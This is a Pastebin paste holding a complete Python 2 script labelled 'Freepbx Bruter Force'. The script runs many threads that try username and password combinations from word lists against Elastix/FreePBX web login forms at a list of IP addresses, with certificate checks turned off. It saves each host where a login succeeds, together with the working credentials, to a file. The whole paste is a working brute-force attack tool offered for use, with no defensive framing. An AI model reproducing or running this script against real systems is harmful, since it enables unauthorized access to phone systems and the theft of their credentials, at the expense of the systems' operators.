Advertisement
Guest User

inj3ctor3

a guest
May 7th, 2018
475
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.55 KB | None | 0 0
  1. import re, requests, sys, Queue, threading
  2. from requests.packages.urllib3.exceptions import InsecureRequestWarning
  3. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  4. #inj3ctor3
  5. ux = open('ips.txt', 'a')
  6. uy = open('users.txt', 'a')
  7. uw = open('pwd.txt', 'a')
  8. ThreadNumber = sys.argv[1]
  9. val = open('validElastix.txt', 'a')
  10. cracked = []
  11. class Apophis(threading.Thread):
  12.  
  13.     def __init__(self, queue):
  14.         threading.Thread.__init__(self)
  15.         self.queue = queue
  16.  
  17.     def run(self):
  18.         while True:
  19.             Host, user, passwd = self.queue.get()
  20.             self.checker(Host, user, passwd)
  21.             self.queue.task_done()
  22.  
  23.  
  24.     def checker(self, host, user, Passwd):
  25.         try:
  26.             if host in str(cracked): return False
  27.             #print host + " " + user + " " + Passwd + '\r'
  28.             post = {'input_user': user, 'input_pass': Passwd, 'submit_login': 'Submit'}
  29.             session = requests.session()
  30.             r = session.post(host, data=post, verify=False, timeout=30)
  31.             if re.search("pbxconfig", r.text):
  32.                 print("[+] Login Success")
  33.                 print 'Host: %s User: %s Password: %s \n' % (host, user, Passwd)
  34.                 val.write(host + ' ' + user + ' ' + Passwd +'\n')
  35.                 val.flush()
  36.                 cracked.append(host)
  37.             else:
  38.  
  39.                 return False
  40.             return True
  41.         except requests.exceptions.RequestException as e:
  42.             return False
  43.         except Exception as e:
  44.             print '\r' + host + ' ' + str(e) + '                                                      '
  45.             return False
  46.  
  47. def main(ips, users, passwords, ThreadNmber):
  48.     queue = Queue.Queue(maxsize=20000)
  49.     for i in range(ThreadNmber):
  50.         try:
  51.             t = Apophis(queue)
  52.             t.daemon = True
  53.             t.start()
  54.         except Exception as e:
  55.             break
  56.  
  57.     for user in users:
  58.         for passwd in passwords:
  59.             for Host in ips:
  60.                 queue.put((Host, user, passwd))
  61.  
  62.     queue.join()
  63.  
  64. if __name__ == '__main__':
  65.     with open('ips.txt', 'rU') as ipf:
  66.         ips = ipf.read().splitlines()
  67.     with open('users.txt', 'rU') as uf:
  68.         users = uf.read().splitlines()
  69.     with open('pwd.txt', 'rU') as pf:
  70.         passwords = pf.read().splitlines()
  71.     print 'Freepbx Bruter Force'
  72.     print 'INJ3CTOR3 PRIV8T CODE'
  73.     par = raw_input('Press Enter to continue ')
  74.     if par != '':
  75.        print 'Exit'
  76.     else:
  77.         main(ips, users, passwords, int(ThreadNumber))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement